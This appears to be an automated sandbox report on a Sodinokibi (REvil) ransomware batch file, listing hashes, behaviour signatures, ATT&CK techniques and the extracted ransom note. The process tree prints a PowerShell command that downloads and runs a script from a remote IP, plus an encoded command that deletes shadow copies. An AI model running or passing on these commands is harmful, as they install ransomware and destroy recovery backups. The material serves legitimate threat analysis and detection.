sodinokibi | 97b4b68e56ffee83aa062e9f016df1f5c2e280b6df581deec97ced89667e8d1b

General

Target

u3CD1fs9.bat
Size

192B
MD5

775b9f9c687e640c4e5a65c9512ef573
SHA1

920bb3ec6c979520acefcb233670b18446ed09e9
SHA256

97b4b68e56ffee83aa062e9f016df1f5c2e280b6df581deec97ced89667e8d1b
SHA512

e41e431075bf6869cfa5b1e90c267545f30bf7548fb91e7d729292b2a20b376553807ff45970250bf53e568cdc894e4482c77e82b98ac8c84403cd31d73b2a69

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/u3CD1fs9

Extracted

Path

C:\a55i656bw-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension a55i656bw. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86A547CCAB237928 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/86A547CCAB237928 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: b9Jrgy6k72wsyUSWQajDRv95+Kifw9CCN1zCK3l8sdMv+unXJJfJreQAS5cwuE9U X/jXkIDtgzG3hgCAGSRGd1mo0Kr8JBQrHhoLRzWiiPQ/ea+MfaBVCGGh6MGM1b3L FpzVaTYNE2uKI8+0+l6w8YlVP2hyqob/d08V/4P4YkpwO+6ma5R+ccW6CgABvJDk G3o0WNoEMwEcKMBq26vsiLi1N5QLVM0hc/pmUW3yjER3gkhqnKqjMWekTXHaO5xi ecDQyjzHq9Zk2cbc3WQgX73GSeGmpN7YV8jqMGqCH6Df+J3wuSExie0JrvZXKSm1 QdCpsYHawL4MqrCHfxloX/P+mN3M/Wo+vZVeFmauPOG8ljO0sO8YSiAHb1ysRj0n RTPy8vBuEKycWbCsG4jMJxRia7AVW5LFCk4ti02v7f+YZ6AuFQyINvicLcIh87o8 Bho8Y3CSC9RFPaYbaZxab0ngH9YwGyYSr1ibQSpKAu0yFcg+Hx9S/QAhJvrqgG+s 78RS+RG6wBbj6tQJU6fiToNtPrz+9CXiVSrELFx3nP2lwa9irOFCjbvJcEdhPo2J TTHPfLMzK94bfM+EafWriIb1DJLZZyZLC0R4zgSBAsnSRrcWaCw/ocdAoZr6yVwV 0hxprB67EBMJQxIkGHaUR+Na+fYMkFDB1K29PDvaGcICQwY4QN9FZK/34BNdWoJK ezJT7wkBvM5dHFAjAJ9tcTjbbLHQl+Pc+TYqBc3wdz8oUSzdfKZ7iNBTWsquUpU0 g9z5Y1gFrLAaCyM1+xQAk7qmxrCQwpktSQL+hqIZrWnc6RuBDQGOWXiYiHRR9zOr QpPbD2nP+iW8OVg00SWG2zTotyamPsGMYBgvocLwE1i0LOeWogliQXlH9Z/2dwTv 76fK6QzhM7w+NTl4TPU+VxYwlV81eKmpVHPYR5aQsZPN50nyuOL3Dofe3i5LGa/x lKqhigG+4T/8laVm9XTtEmIFiE4t7d3S3wjrc6Xd8RVqkV+2ZLK4BjaxjvvahWbj H/sTI6RmV1zuamc0JqahF/u9+ETVkguXj6dxEiEAAwyeKs1peJLiePjPhlLz+JD4 ufqeFyYe+flilzvS2HS9uwrCG/Gz3YVB/NNwQpit1KRVMSZLD3jsK7KyedpNJXa/ wovhXahH5/4d9l5TAoPxpZuh6y6v8JMvLrQDpJ1lDrHpkw1w9wMGOQyK2sWcx8lG IHUTFRS2ZU4FIoIJ7yj5s2x2HEk+W4mrJX588oe45GCkENkRH3a52xpq+iLosrjg EiLrnmSqMEYnfSohWwSFLZYtDt48FNFqafEHDDHPxeLFRoAjoo0= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86A547CCAB237928

http://decryptor.cc/86A547CCAB237928

Signatures

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1692 powershell.exe
1692 powershell.exe
1692 powershell.exe
1792 powershell.exe
1792 powershell.exe
Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 3 http://185.103.242.78/pastes/u3CD1fs9
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

pid	process
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1792	powershell.exe
1792	powershell.exe

description	flow	ioc
HTTP URL	3	http://185.103.242.78/pastes/u3CD1fs9

Drops file in Program Files directory 16 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\a55i656bw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\EnableSync.edrwx	powershell.exe
File opened for modification	\??\c:\program files\SuspendGet.odt	powershell.exe
File created	\??\c:\program files (x86)\a55i656bw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\LimitGrant.snd	powershell.exe
File opened for modification	\??\c:\program files\CompleteUninstall.dotx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\a55i656bw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RegisterUnregister.mpg	powershell.exe
File opened for modification	\??\c:\program files\SaveRepair.emz	powershell.exe
File opened for modification	\??\c:\program files\ConvertToRestore.ttc	powershell.exe
File opened for modification	\??\c:\program files\DisableUndo.au3	powershell.exe
File opened for modification	\??\c:\program files\JoinClear.pptm	powershell.exe
File opened for modification	\??\c:\program files\SwitchUnprotect.wm	powershell.exe
File opened for modification	\??\c:\program files\UpdateUnpublish.xht	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\a55i656bw-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\a55i656bw-readme.txt	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3z583vgo9pw.bmp"	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1684 wrote to memory of 1692	1684	cmd.exe	powershell.exe
PID 1692 wrote to memory of 1792	1692	powershell.exe	powershell.exe
PID 1692 wrote to memory of 1792	1692	powershell.exe	powershell.exe
PID 1692 wrote to memory of 1792	1692	powershell.exe	powershell.exe
PID 1692 wrote to memory of 1792	1692	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeBackupPrivilege	1508	vssvc.exe
Token: SeRestorePrivilege	1508	vssvc.exe
Token: SeAuditPrivilege	1508	vssvc.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1692 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1692 powershell.exe

pid	process
1692	powershell.exe

flow	pid	process
3	1692	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\u3CD1fs9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/u3CD1fs9');Invoke-BJZXVCQKO;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Blacklisted process makes network request
PID:1692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_05471756-4b9c-45e9-8ddd-05fab605d637

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_20b90e15-f237-499e-a823-6772568bf000

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_37386d62-281a-4a91-a575-6755e45f3238

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5028523d-10aa-4674-b3d1-9db9e7b9fbf6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a24b3c29-8785-47a4-90c7-9951cb5bf055

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3feaac6-0199-4ad4-87ff-a4b7cbd02223

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads